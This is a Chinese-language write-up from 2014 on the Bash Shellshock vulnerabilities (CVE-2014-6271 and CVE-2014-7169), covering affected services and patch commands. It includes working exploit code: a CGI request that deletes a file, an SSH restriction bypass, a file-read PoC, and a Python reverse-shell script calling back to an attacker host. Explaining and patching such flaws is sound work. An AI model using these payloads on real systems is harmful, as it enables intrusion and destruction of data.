[sth0r@shawn-fortress]$ uname -a
linux shawn-fortress 3.7-trunk-686-pae #1 smp debian 3.7.2-0+kali8 i686 gnu/linux
|=-----------------------------------------------------------------=|
|=-----=[ d o n o t f u c k w i t h a h a c k e r ]=-----=|
|=------------------------[ #4 file 0x07 ]-------------------------=|
|=-------------------=[ bash shellshock事件: ]=--------------------=|
|=-------------------=[ cve-2014-6271资料汇总]=--------------------=|
|=---------------------=[ by shawn the r0ck ]=---------------------=|
|=-----------------------=[ sep 25 2014 ]=------------------------=|
|=-----------------------------------------------------------------=|
<a target="_blank"></a>
0. what is bash
1. cve-2014-6271
2. incomplete patch
3. mitigation
4. story to be continued...
5. references
bourne again shell(简称bash)是在gnu/linux上最流行的shell实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和gnu系统深度整合的多功能接口。
法国gnu/linux爱好者stéphane chazelas于2014年9月中旬发现了著名shell实现bash的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在gnu/linux上的会跟bash交互的应用程序,包括:
在sshd配置中使用了forcecommand用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些git和subversion部署环境的限制shell也会出现类似情况,openssh通常用法没有问题。
apache服务器使用mod_cgi或者mod_cgid,如果cgi脚本在bash或者运行在子shell里都会受影响。子shell中使用c的system/popen,python中使用 os.system/os.popen,php中使用system/exec(cgi模式)和perl中使用,open/system的情况都会受此漏洞影响。
php脚本执行在mod_php不会受影响。
dhcp客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。
守护进程和suid程序在环境变量设置的环境下执行shell脚本也可能受到影响。
任何其他程序执行shell脚本时用bash作为解释器都可能受影响。shell脚本不导出的情况下不会受影响。
我们先来看一个简单的poc:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果存在漏洞会打印"vulnerable"。
/* cve-2014-6271 + aliases with slashes poc - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>
int main()
{
char *envp[] = {
"path=/bin:/usr/bin",
"/usr/bin/id=() { "
"echo pwn me twice, shame on me; }; "
"echo pwn me once, shame on you",
null
};
char *argv[] = { "/bin/bash", null };
execve(argv[0], argv, envp);
perror("execve");
return 1;
}
je@tiny:~$ gcc -o bash-is-fun bash-is-fun.c
je@tiny:~$ ./bash-is-fun
pwn me once, shame on you
je@tiny:/home/je$ /usr/bin/id
pwn me twice, shame on me
这个poc中可以看出bash根本就没有去处理结尾,后面我们可以通过补丁来看为什么。
创建一个脚本叫poc.cgi:
#!/bin/bash
echo "content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="content-type" content="text/html; charset=utf-8">'
echo '<title>poc</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0
把脚本放入测试机后,输入:
$ curl http://192.168.0.1/poc.cgi
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>poc</title>
</head>
<body>
<pre>
server_signature=<address>apache/2.2.22 (debian) server at 192.168.0.1 port 80</address>
http_user_agent=curl/7.26.0
server_port=80
http_host=192.168.0.1
document_root=/var/www
script_filename=/var/www/poc.cgi
request_uri=/poc.cgi
script_name=/poc.cgi
remote_port=40974
path=/usr/local/bin:/usr/bin:/bin
pwd=/var/www
server_admin=webmaster@localhost
http_accept=*/*
remote_addr=192.168.0.1
shlvl=1
server_name=192.168.0.1
server_software=apache/2.2.22 (debian)
query_string=
server_addr=192.168.0.1
gateway_interface=cgi/1.1
server_protocol=http/1.1
request_method=get
_=/usr/bin/env
</pre>
</body>
</html>
再来试试使用curl设置一个user-agent玩玩:
$ curl -a "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi
<!doctype html public "-//ietf//dtd html 2.0//en">
<html><head>
<title>500 internal server error</title>
</head><body>
<h1>internal server error</h1>
<p>the server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>please contact the server administrator,
webmaster@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>more information about this error may be available
in the server error log.</p>
<hr>
<address>apache/2.2.22 (debian) server at 192.168.0.1 port 80</address>
</body></html>
上面已经把/var/www/target给删除了,再来看看:
$ curl http://192.168.0.1/target
<title>404 not found</title>
<h1>not found</h1>
<p>the requested url /target was not found on this server.</p>
还有就是针对远程利用的poc,通过利用term:
在机器a上生成一对rsa key pair:
shawn@debian-test32:~/.ssh$ ssh-keygen
generating public/private rsa key pair.
enter file in which to save the key (/home/shawn/.ssh/id_rsa):
enter passphrase (empty for no passphrase):
enter same passphrase again:
your identification has been saved in /home/shawn/.ssh/id_rsa.
your public key has been saved in /home/shawn/.ssh/id_rsa.pub.
the key fingerprint is:
09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc shawn@debian-test32
the key's randomart image is:
+--[ rsa 2048]----+
| ... |
| .o . |
| ooo |
| o +.o. |
| = =s. |
| . * o e |
| o o . + |
|. = o o |
|oo . . |
+-----------------+
把a的公钥拷贝到机器b上:
$cat /home/shawn/.ssh/authorized_keys
command="/tmp/ssh.sh" ssh-rsa aaaab3nzac1yc2eaaaadaqabaaabaqc9xyhedjbbvso+ratds3u+r4sd87suqq5ozj+6p5n3booz8ekfmk2b4qqa28ugvpsefssxioxtkdes3mcxevbibgg6e3rq63u7usrh9iqupo6c45qt+3/woo7x3mrlz1awumcjurca5zm/yovymjcord1kpkijljghtmztehwvae4infkqywc81ssfsvnd/geiycpfw84utdf/ch626v3v73hlxwbmd8uki27i7atmocpgwsi5738tlpgpdsisvzzxznlxafvsgpxkyahoq9vsajcg4q+giob5ix4idzn8gs8g7ugw+eghztmq83f/8ar5a5ex8dg9m/loypipp5gj shawn@debian-test32
一个用于控制command/ssh_original_command的脚本
shawn@linux-ionf:~/.ssh> cat /tmp/ssh.sh
#!/bin/sh
case "$ssh_original_command" in
"ps")
ps -ef
;;
"vmstat")
vmstat 1 100
"cups stop")
/etc/init.d/cupsys stop
"cups start")
/etc/init.d/cupsys start
*)
echo "sorry. only these commands are available to you:"
echo "ps, vmstat, cupsys stop, cupsys start"
#exit 1
esac
机器a上可以正常的使用限制脚本:
shawn@debian-test32:~/.ssh$ export ssh_original_command="ps"
shawn@debian-test32:~/.ssh$ ssh [email protected] $ssh_original_command
enter passphrase for key '/home/shawn/.ssh/id_rsa':
uid pid ppid c stime tty time cmd
root 1 0 0 16:47 ? 00:00:02 /sbin/init showopts
root 2 0 0 16:47 ? 00:00:00 [kthreadd]
root 3 2 0 16:47 ? 00:00:00 [ksoftirqd/0]
借助term来利用:
shawn@debian-test32:~$ export term='() { :;}; id'; ssh [email protected]
uid=1000(shawn) gid=100(users) groups=100(users)
connection to 192.168.115.129 closed.
可以看出bash的确没有做异常处理,而直接解析后就执行了。
正式的社区补丁在这里:
但由于补丁修复的不完整,导致了cve-2014-7169的爆出,poc如下:
shawn@shawn-fortress /tmp $ date -u > test_file
shawn@shawn-fortress /tmp $ env x='() { (a)=<\' bash -c 'test_file cat'
bash: x: line 1: syntax error near unexpected token `='
bash: x: line 1: `'
bash: error importing function definition for `x'
thu sep 25 09:37:04 utc 2014
这个poc可以让攻击者能读文件,看来后续的故事还没结束................... (sep 25 13:30 utc 2014)
utc时间2014年9月25日上午,cve-2014-7169被bash社区修复,目前主要的gnu/linux发行版包括debian, gentoo, opensuse, centos, rhel都已经提供了相
关的升级。
在各种gnu/linux发行版里需要升级:
sudo apt-get update && apt-get upgrade
sudo emerge --sync && glsa-check -f affected
加入no-pty
这个漏洞引起的故事并没有因为补丁而结束,因为这个星球上有太多人不会那么care这个漏洞,也就是说他们不会即时的去打补丁,而从攻击者的一方而言,从漏洞公开已经出现了很多类似:
#
#cve-2014-6271 cgi-bin reverse shell
import httplib,urllib,sys
if (len(sys.argv)<4):
print "usage: %s <host> <vulnerable cgi> <attackhost/ip>" % sys.argv[0]
print "example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)
conn = httplib.httpconnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
headers = {"content-type": "application/x-www-form-urlencoded",
"test":reverse_shell }
conn.request("get",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
通常来讲,一个漏洞曝光到自动化利用会在24小时内完成,所以各位抓紧时间打补丁。
原文发布时间:2014-09-26
本文来自云栖合作伙伴“linux中国”